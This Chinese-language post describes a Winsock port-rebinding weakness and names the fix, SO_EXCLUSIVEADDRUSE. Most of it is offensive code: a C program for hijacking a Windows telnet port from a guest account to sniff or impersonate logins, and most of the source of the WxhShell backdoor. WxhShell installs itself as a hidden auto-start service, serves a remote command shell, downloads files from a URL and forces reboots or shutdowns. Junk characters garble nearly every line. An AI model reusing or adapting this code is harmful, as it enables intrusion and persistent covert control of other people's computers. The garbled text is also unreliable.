在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
J/4y|8T/y s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
v`G U09 "L~@.W!@ saddr.sin_family = AF_INET;
>7>7/7=O | Odu4 Q saddr.sin_addr.s_addr = htonl(INADDR_ANY);
4NVgOr: 'rV2Bt, bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
/.Wc_/ *=^[VV! 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
6dT|;koWbm 2_olT_# 这意味着什么?意味着可以进行如下的攻击:
:2q
?>\ p\txlT 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Rx.
rj~ tm xP Oe 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
mvf
_@2^ #DaP=k"XV 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
\3 KfD'L 2v|qLfe1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
rZ866\0 Kpu<rKP` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
!yCl(XT 6IF|3@yD 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
>
I%zd/q? UIw?;:Y 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
s4IKSX ip5u_Xj? #include
r|8V @.@i #include
x\;GoGsez #include
3Bd4
C]E #include
dt.-C_MO DWORD WINAPI ClientThread(LPVOID lpParam);
zlX!xqHj int main()
p[P[#IeL {
7jZrU|:yu( WORD wVersionRequested;
)%|r>{ DWORD ret;
&kq7gCd WSADATA wsaData;
j[T%'% BOOL val;
er\:U0fr#@ SOCKADDR_IN saddr;
=w ,(M SOCKADDR_IN scaddr;
(j`l5r#X#/ int err;
ArdJ." SOCKET s;
8c?8X=|D7 SOCKET sc;
Alh?0 Fk3) int caddsize;
vj@V
!j? HANDLE mt;
) hPVX()O! DWORD tid;
s{% fi* wVersionRequested = MAKEWORD( 2, 2 );
6(5c7R# err = WSAStartup( wVersionRequested, &wsaData );
}`@?X"r if ( err != 0 ) {
ks^|> printf("error!WSAStartup failed!\n");
0-
Yeu5A return -1;
$pBr
&, }
^k9rDn/AW saddr.sin_family = AF_INET;
K-Y*T}? $UmE //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
h=wf>^l
`QAh5r" saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
HU.1":.; saddr.sin_port = htons(23);
<lX:eR1 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
L3' \r {
/op/g]O} printf("error!socket failed!\n");
RQJ9MGw return -1;
.hnF]_QQ }
.kzms val = TRUE;
9w$7VW; //SO_REUSEADDR选项就是可以实现端口重绑定的
a:xgjUt&5 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{N@Y<=+: {
4}PeP^pj printf("error!setsockopt failed!\n");
K+t];( return -1;
0wYiu }
:EaiM J_= //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
{C, #rj //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
^8U6"O6|X //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
ma`w\8a ;C6O3@Q if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
IM2/(N.% {
=z']s4 ret=GetLastError();
Fj48quW1\P printf("error!bind failed!\n");
z'v9j_\ return -1;
pJ$(ozV }
jS}'cm- listen(s,2);
aliQ6_ while(1)
\c'%4Ao {
0I6499FQ caddsize = sizeof(scaddr);
CYMM*4# //接受连接请求
JiUT\y sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
dnLo(<{<U if(sc!=INVALID_SOCKET)
N+[}Gb"8q {
jFS'I*1+ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
se"um5N- if(mt==NULL)
(h%|;9tF {
*%]+sU printf("Thread Creat Failed!\n");
iu+zw[f break;
jm~mhAE# }
ge@reGfsB1 }
'II
vub#q CloseHandle(mt);
^$ZI>L0+ }
"&s9cO.H closesocket(s);
-!JlM@ WSACleanup();
"
-<}C%C return 0;
tzP@3+.w }
</2,2AV4q* DWORD WINAPI ClientThread(LPVOID lpParam)
1XC*| {
Zt7hzW SOCKET ss = (SOCKET)lpParam;
CiHn;-b; SOCKET sc;
B1up^(? unsigned char buf[4096];
o4U]lK$ SOCKADDR_IN saddr;
p}cd}@cQ6 long num;
kz3?j< DWORD val;
s-Q7uohK DWORD ret;
cG<Q`(5~ //如果是隐藏端口应用的话,可以在此处加一些判断
H{&a)!Ms //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
m.|qVN saddr.sin_family = AF_INET;
#.RG1-L saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
QGu7D #%| saddr.sin_port = htons(23);
n^3NA|A if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|
3hT { {
$a)JCErN printf("error!socket failed!\n");
hG< a return -1;
:K!GR }
(0Zrfu^ val = 100;
`,hW;p>- if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5 >0\e_V {
0]/,m4a#n ret = GetLastError();
5?S{W return -1;
:4Id7Ce }
_wIBm2UO if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
&*LA_]1@ {
d8VWi* ret = GetLastError();
YY1{v?[ return -1;
[w+yQ7P }
9;r48)5 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
I 0x`H)DA {
ski1f printf("error!socket connect failed!\n");
..v@Q% closesocket(sc);
g!~-^_F closesocket(ss);
5&GQ=m return -1;
p3>Q< }
mdmZ1:PBM while(1)
YMd&To 0s {
JMl, N //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
%5( EkP //如果是嗅探内容的话,可以再此处进行内容分析和记录
.Bm ^3A //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
#VP-T; Ahe num = recv(ss,buf,4096,0);
9y
d-&yDG if(num>0)
S&;T_^| send(sc,buf,num,0);
VNJDl else if(num==0)
\#IJ=+z break;
;p?42rCIcl num = recv(sc,buf,4096,0);
(25^r if(num>0)
ZEXj|wC send(ss,buf,num,0);
"W3n
BaG else if(num==0)
(mOqv9pn break;
sM);gI14 }
oX=*MEfX closesocket(ss);
u(TgWp5WF closesocket(sc);
c1Fru return 0 ;
^=heen<S% }
TV$\v@\ = }+QhW]nO{F 6_ 33*/>=c ==========================================================
BIHHRCe:@n \]~kyy 下边附上一个代码,,WXhSHELL
ePPp)= 2\$WP-)% ==========================================================
P^uP$D h>mBkJ
{ #include "stdafx.h"
0&SrKn r7wx?{~ 28 #include <stdio.h>
wXIe5 #include <string.h>
2s]]!{Z# #include <windows.h>
f0HV*%8 #include <winsock2.h>
3f7t% #include <winsvc.h>
}tl8(kjm #include <urlmon.h>
K2cp f KNUMz4 #pragma comment (lib, "Ws2_32.lib")
gpO_0U4lQ] #pragma comment (lib, "urlmon.lib")
,_TH@0{ s$+: F$Y0 #define MAX_USER 100 // 最大客户端连接数
NL>[8# #define BUF_SOCK 200 // sock buffer
m`1}O"<&i #define KEY_BUFF 255 // 输入 buffer
}.Na{]<gh 1,*Z_ F=y #define REBOOT 0 // 重启
dmTW]P2 #define SHUTDOWN 1 // 关机
G74a9li@ ]'bQ(<^# #define DEF_PORT 5000 // 监听端口
nfCd*f zei9,^
C #define REG_LEN 16 // 注册表键长度
b|V4Fp #define SVC_LEN 80 // NT服务名长度
D ^T7pO BSq;RG( // 从dll定义API
L2V
$%*6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
aLyhxmn ^) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
d
q+7K typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
4.Jaw+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
HnKF#<
c?3F9w# // wxhshell配置信息
19YJ`(L`x struct WSCFG {
VgC9'"| int ws_port; // 监听端口
;29X vhS8 char ws_passstr[REG_LEN]; // 口令
D+vl%(g int ws_autoins; // 安装标记, 1=yes 0=no
$M8>SLd char ws_regname[REG_LEN]; // 注册表键名
^w.(*; / char ws_svcname[REG_LEN]; // 服务名
#mz,HK0|aC char ws_svcdisp[SVC_LEN]; // 服务显示名
Ws}kb@5 char ws_svcdesc[SVC_LEN]; // 服务描述信息
q[,R%6&' char ws_passmsg[SVC_LEN]; // 密码输入提示信息
f4\p1MYQ int ws_downexe; // 下载执行标记, 1=yes 0=no
*M\i4FO8 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
88+\mX;A# char ws_filenam[SVC_LEN]; // 下载后保存的文件名
4-?`# ;^H+
|&$> };
a?Qcf;o X0r#,u // default Wxhshell configuration
Stp*JU struct WSCFG wscfg={DEF_PORT,
{ P\8g8 "xuhuanlingzhe",
>i#_)th"U! 1,
'%|20j "Wxhshell",
KohQ6q "Wxhshell",
5yN8%_)T "WxhShell Service",
eABdye "Wrsky Windows CmdShell Service",
6O|\4c; "Please Input Your Password: ",
ur"e
F 1,
(k2J{6] "
http://www.wrsky.com/wxhshell.exe",
7<C~D,x6 "Wxhshell.exe"
]&tr\-3 };
kl{OO%jZ vS,G<V3B // 消息定义模块
v%PWr5] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
^zluO char *msg_ws_prompt="\n\r? for help\n\r#>";
0f}Q~d=QL char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
'>lPq tdZ char *msg_ws_ext="\n\rExit.";
(P52KD[A[ char *msg_ws_end="\n\rQuit.";
Ok{:QA~# char *msg_ws_boot="\n\rReboot...";
_F$t#.o char *msg_ws_poff="\n\rShutdown...";
$8yGY char *msg_ws_down="\n\rSave to ";
CR|&VxA kjKpzdbD char *msg_ws_err="\n\rErr!";
JgjL$n;F char *msg_ws_ok="\n\rOK!";
dmMr8-w #*aGzF char ExeFile[MAX_PATH];
tH|Q4C int nUser = 0;
A ** M"T HANDLE handles[MAX_USER];
f8_UIdM7 int OsIsNt;
FSZoT! Rb>RjHo S SERVICE_STATUS serviceStatus;
%JH_Nw.P SERVICE_STATUS_HANDLE hServiceStatusHandle;
sN`o_q{Q ';T5[l, // 函数声明
]TZWFL- int Install(void);
u:u 7|\q int Uninstall(void);
..]X< int DownloadFile(char *sURL, SOCKET wsh);
~9'4w-Sy int Boot(int flag);
{{)[Ap) void HideProc(void);
?%fZvpn - int GetOsVer(void);
87 E3pe int Wxhshell(SOCKET wsl);
bqwW9D( void TalkWithClient(void *cs);
[<1+Q =; int CmdShell(SOCKET sock);
tVh4v#@+ int StartFromService(void);
byxehJ6[V int StartWxhshell(LPSTR lpCmdLine);
H5MAN,` 58ZiCvqv VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
i}{Q\#=# VOID WINAPI NTServiceHandler( DWORD fdwControl );
-3%)nV <|.! Px86 // 数据结构和表定义
vrO$8* sy SERVICE_TABLE_ENTRY DispatchTable[] =
,(kXF: {
{-]HYk {wscfg.ws_svcname, NTServiceMain},
FveK|- {NULL, NULL}
A VG`r2T };
NX #d}M^V 8!`.%)- 4 // 自我安装
adPU)k_j: int Install(void)
Lj* =*V {
!!X9mI|2| char svExeFile[MAX_PATH];
teNQUIe- HKEY key;
I=Dk'M strcpy(svExeFile,ExeFile);
ymVd94L 4bjp*1 *] // 如果是win9x系统,修改注册表设为自启动
7,VWvmWJex if(!OsIsNt) {
bh6wI%8H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
w^6N
:]d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3EX&.OL! RegCloseKey(key);
g<tTZD\g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|}.B!vg(4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
i1\ /\^ RegCloseKey(key);
QgM_SY|Rj return 0;
~g6[ [ }
c'TLD!^hB }
!w\;Q8irN }
R6o<p<fTh else {
DH*|>m& x9
L\" // 如果是NT以上系统,安装为系统服务
. pEeR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
g;Q^_4@ if (schSCManager!=0)
]p.f*] {
NGZ>: SC_HANDLE schService = CreateService
T.N7` (
1gK3=Ys schSCManager,
!fjU?_[S wscfg.ws_svcname,
MQMy Z: wscfg.ws_svcdisp,
>gLyz2 SERVICE_ALL_ACCESS,
n|2-bRK- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
K T72D SERVICE_AUTO_START,
5kZ yiC* SERVICE_ERROR_NORMAL,
84\o7@$# svExeFile,
`mTxtuid{ NULL,
`l#$l3v+ NULL,
QHz76i!=> NULL,
p<['FRf" NULL,
!+ hgKZ] NULL
vXZz=E
AH );
Z"KuS if (schService!=0)
MpvA-- {
U4pvQE.m< CloseServiceHandle(schService);
UimZ/\r CloseServiceHandle(schSCManager);
pg`;)@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
g7yHhF>%X strcat(svExeFile,wscfg.ws_svcname);
y+x>{!pw if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
+6-!o,( RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
lhODNWi RegCloseKey(key);
KA2B3\ return 0;
)yAPYC }
zXPj7K* }
w'>v@`y CloseServiceHandle(schSCManager);
5E(P,!-. }
WX"M_=lc-@ }
nQVBHL> &y+*3,!n8 return 1;
yKhzymS}T }
$X]v;B)J| z:7F5!Z // 自我卸载
?bA]U: int Uninstall(void)
9}_f\Bs {
d0,F'?.0| HKEY key;
)q-!5^ak jd'R2e if(!OsIsNt) {
He23<hd! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Y)RikF > RegDeleteValue(key,wscfg.ws_regname);
O:R{4Q*5 RegCloseKey(key);
$QnfpM%+= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
0P
>dXd)T RegDeleteValue(key,wscfg.ws_regname);
yln.E vJjD RegCloseKey(key);
E:OeU_\ return 0;
\H12~=p`B }
N^at{I6C }
OaWq8MIZ- }
ir?9{t/() else {
|g+5rVbd y>PbYjuIU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
:]jtV~E\ if (schSCManager!=0)
UGgi) {
+y(h/NcQ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
4(IP if (schService!=0)
C" WZsF^3 {
(#`o>G( if(DeleteService(schService)!=0) {
YT8`Vz$+ CloseServiceHandle(schService);
8A_(]Q CloseServiceHandle(schSCManager);
n\Nl2u& m return 0;
/Qy0vAvJ }
np(<Ap r CloseServiceHandle(schService);
$
7!GA9Bn }
5}ah% CloseServiceHandle(schSCManager);
Dh<e9s: }
T]`"
Xl8 }
SO"P3X 1)ne-e
return 1;
#Xly5J }
iDJ2dM}v u>Hx#R<*% // 从指定url下载文件
X=~QE}x int DownloadFile(char *sURL, SOCKET wsh)
ny}utO {
Bw[V K7 HRESULT hr;
G=e[TR)i char seps[]= "/";
{\I\4P char *token;
iL<O|' be char *file;
]ghPbS@ char myURL[MAX_PATH];
-`&;3
7 char myFILE[MAX_PATH];
WkE;tC* uyIA]OtyN strcpy(myURL,sURL);
M:E#}( token=strtok(myURL,seps);
rD gl@B3 while(token!=NULL)
g>f394j {
XlPy(> file=token;
ML-g"wv token=strtok(NULL,seps);
7
pV3#fQ }
X,~C |n;7fqK GetCurrentDirectory(MAX_PATH,myFILE);
r>\.b{wI strcat(myFILE, "\\");
X +R_TC strcat(myFILE, file);
&/p9+gd send(wsh,myFILE,strlen(myFILE),0);
e6Y0G,K send(wsh,"...",3,0);
-L@=j hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
KV2X[1 if(hr==S_OK)
KMa?2cJH# return 0;
b.(^CYYQ else
2cL<` return 1;
&I8ZVtg :s\s3#? }
%"D-1&%zY hdzaU&w // 系统电源模块
p6p_B int Boot(int flag)
hI$an%Y( {
.vg;K@{ HANDLE hToken;
oVdmgmT.Y TOKEN_PRIVILEGES tkp;
<>cajQ@ sy;~(rpg if(OsIsNt) {
f`cO5lP/:) OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
0:nyOx(; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
$|KbjpQ tkp.PrivilegeCount = 1;
iM-@?!WF tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
HUH=Y; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
;IyQqP#,< if(flag==REBOOT) {
q-'zZ# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
8l6R.l
return 0;
1QThAFN }
=>9`qcNW_ else {
{>#Ya;E if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
*:iFhKFU return 0;
JdE=!~\8 }
R/=yS7@{) }
sHNt>5p else {
cOSUe_S0w[ if(flag==REBOOT) {
TeHR,GB if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
^VD14V3 return 0;
;-59#S&?tB }
2]|+.9B else {
o}BaZ|iZ2 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
OvkY zI` return 0;
yfj<P/aA+ }
u7K0m!
jW }
1:?WvDN= \7RP6o return 1;
'Q# KjY }
]. eGsh2 V<b"jCXI // win9x进程隐藏模块
HQ"D>hsuU void HideProc(void)
*&7Av7S {
@<_4Nb b?z 8Yp6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
LaRY#9 if ( hKernel != NULL )
8D-g%Aj- {
WK-WA$7\ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
C+_ NG ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
a4?:suX$ FreeLibrary(hKernel);
I%|W
O*x }
>>p3#~/ CQS34&G$a return;
koFY7;_<? }
N/(&&\3 bV}43zI. // 获取操作系统版本
oE}1D?3Sp int GetOsVer(void)
~Os~pTo {
!RV}dhI OSVERSIONINFO winfo;
}{s<!b winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
6tVB}UKs GetVersionEx(&winfo);
bPWIf*3# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
bX8Bn0#a+ return 1;
BDpeAF8z else
W,:*` return 0;
A#*0mJ8IK }
1qtu,yIf SBs_rhe // 客户端句柄模块
Ygr1 S(= int Wxhshell(SOCKET wsl)
`8EHhN; {
Ji gc@@B. SOCKET wsh;
.xS}/^8iD struct sockaddr_in client;
L"9,K8 DWORD myID;
j*xxOwf Z3)1!|#Q while(nUser<MAX_USER)
l:%4@t` {
F|9
W7 int nSize=sizeof(client);
7*`cWT_X wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
lUbQ@7a<' if(wsh==INVALID_SOCKET) return 1;
|}t[-a 7EO/T,{a handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
wS9EC}s:Q if(handles[nUser]==0)
yc?+L;fN closesocket(wsh);
pbt/i+! else
blEs!/A` nUser++;
rfku]A$ }
uDbz`VpK WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
%i:Sf _gxI=EYi return 0;
ED[`Y.; }
d#'aT mu! MIGcV9hf // 关闭 socket
fL>>hBCqC void CloseIt(SOCKET wsh)
)OpB\k {
W6:ei.d+NS closesocket(wsh);
O0[.*xG nUser--;
Hx5t![g2K! ExitThread(0);
Ev+m+ }
3Uw}!>`% '7Q5"M'
// 客户端请求句柄
lky{<jZ% void TalkWithClient(void *cs)
1w*DU9f {
,e<(8@BBL qn=~4rg]R SOCKET wsh=(SOCKET)cs;
]#x!mZ! char pwd[SVC_LEN];
$ReoIU^< char cmd[KEY_BUFF];
5'*v-l,[ char chr[1];
`tZ m int i,j;
jg%HaA<zO M`{~AIqd( while (nUser < MAX_USER) {
`_M*2(rt 2GkJ7cL if(wscfg.ws_passstr) {
RHe'L36W if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
0@ccXFE //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1HPYW7jk@" //ZeroMemory(pwd,KEY_BUFF);
Teo&V i=0;
2g?O+'JD while(i<SVC_LEN) {
1VRexp EdgcdSb7 // 设置超时
j6@5"wx fd_set FdRead;
&"G4yM struct timeval TimeOut;
n^kszIu~ FD_ZERO(&FdRead);
Pi7IBz FD_SET(wsh,&FdRead);
vuP.V# TimeOut.tv_sec=8;
m 3k}iIU7 TimeOut.tv_usec=0;
YI0ubB int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
mV\QZfoF if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
q4Z9;^S b3$aPwv if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Y5rR pwd
=chr[0]; I" AgRa
if(chr[0]==0xd || chr[0]==0xa) { o'uv5asdb
pwd=0; r0 mXRZC
break; _@-D/g
} L!fiW`>0G
i++; 39j "z8n
} #a :W
UBN^dbP*
// 如果是非法用户,关闭 socket /d<"{\o
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7*D*nY4+
} )}{V#,xz@
aDXdr\C6
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7F=Xn@ _
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5|I2
Ws_RS%
while(1) { * &iSW~s
Q2 tM~
ZeroMemory(cmd,KEY_BUFF); oSDx9%
#+X|,0p
// 自动支持客户端 telnet标准 !kzC1U
j=0; @I`X{oAA
while(j<KEY_BUFF) { Km)5;BQxg
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N;)Y+amg^
cmd[j]=chr[0]; a-P'h1hbH
if(chr[0]==0xa || chr[0]==0xd) { {u/G!{N$
cmd[j]=0; % FN3/iM
break; Yn0l}=, n
} %&D,|Yl6
j++; Mo4#UV
} st8=1}:&\
ZjlFr(
// 下载文件 NS^(5g
if(strstr(cmd,"http://")) { .*9+%FN
send(wsh,msg_ws_down,strlen(msg_ws_down),0); I(i/|S&^
if(DownloadFile(cmd,wsh)) c^N'g!on
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a{?`yO/ 2
else =N_7DT
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "K.Xo G4|
} )p,uZ`~v
else { 6CK WKc
I=N;F6
switch(cmd[0]) { +Lq;0tRC
?A!Lh,
// 帮助 w&A&BE^O/
case '?': { Jd].e=]pN
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =44hI86
break; !11x&Db
} a6UW,n"n
// 安装 ,I(PDlvtM
case 'i': { U#o5(mK
if(Install()) ^X&`:f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -c^/k_n
else e ]@Ex
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'f+g`t?
break; f
zu#!
} f87>ul!*
// 卸载 XHKVs
case 'r': { UV ?.KVD~
if(Uninstall()) kR
C0iTV'I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aFI?^"L
else r#Pkhut
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |2yTt*!-r
break; "82<}D^;
} lX)RG*FlTC
// 显示 wxhshell 所在路径 EYwDv4H,g
case 'p': { ^7l.!s#$b
char svExeFile[MAX_PATH]; #MZ0Sd8]&
strcpy(svExeFile,"\n\r"); 6Y#-5oEu/
strcat(svExeFile,ExeFile); Ek!$Ary
send(wsh,svExeFile,strlen(svExeFile),0); mY+.(N7m
break; Sa V]6/|
} kg2?I L
// 重启 }m?1IU%q
case 'b': { GN36:>VWb
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {H$F!}a
if(Boot(REBOOT)) _$OhV#LKG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R~-r8dWcw
else { 8]DN]\\o
closesocket(wsh); 4<`x*8`
,
ExitThread(0); X#s:C=q1
} M2[ywab
break; 0:(`t~
} gnS0$kCJ:
// 关机 a8?Zb^
case 'd': { nwd
02tu
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z`fm;7NiVG
if(Boot(SHUTDOWN)) {u BpM9KT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =rj5 q
else { ~lx5RTkp
closesocket(wsh); *iSsGb\M%
ExitThread(0); xg~
Baun
} `sZ/'R6
break; =,D3e+P'
} H'uRgBjWJ
// 获取shell -9"hJ4
case 's': { YoD1\a|
CmdShell(wsh); whW"cFg
closesocket(wsh); [YT"UVI
ExitThread(0); )j6VROt
break; A"S{W^iL
} 89F^I"Im(
// 退出 Rv=(D^F,
case 'x': { iMnp `:*
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !+T9NqDv[
CloseIt(wsh); 3=!\>0;E-
break; /nEh,<Y)
} c ?mCt0Cg
// 离开 4/S% eZB
case 'q': {
=@b/Gl
send(wsh,msg_ws_end,strlen(msg_ws_end),0); /?l@7
closesocket(wsh); m#+0uZm(
WSACleanup(); m(nGtrQJm
exit(1); _yTGv-
break; jGM~(;iw6i
} ]zHUF!a*
} x72bufd
} I%(`2rD8G
50Z$3T
// 提示信息 rmc0dm&l]
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
Ch607i=
} 5haJPWG|'
} ]Y;EIn
<5MnF
return; ~;W]0d4,\
} RKaCX:
<#w0=W?
// shell模块句柄 {20^abUAS
int CmdShell(SOCKET sock) g"|QI=&_J
{ aG QC
STARTUPINFO si; %^xY7!{
ZeroMemory(&si,sizeof(si)); Ia:n<sZU
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w\KO1 Ob
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $6 \v1
PROCESS_INFORMATION ProcessInfo; ZLe@O~f;%
char cmdline[]="cmd"; LBT{I)-K
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s"`uE$6N
return 0; jdV E/5
} dK,j|
EY;C5P4
// 自身启动模式 ]+Yd#<j(u
int StartFromService(void) Be"D0=<
{ qczGv2%!
typedef struct x2+%.$'
{ y/rmxQtP
DWORD ExitStatus; 0XFJ/
DWORD PebBaseAddress; zbZ0BD7e
DWORD AffinityMask; ?B@(W(I
DWORD BasePriority; x3O$eKy\|5
ULONG UniqueProcessId; ?UnOi1"v9
ULONG InheritedFromUniqueProcessId; B25@6
} PROCESS_BASIC_INFORMATION; (1gfb*L
w;}pebL:
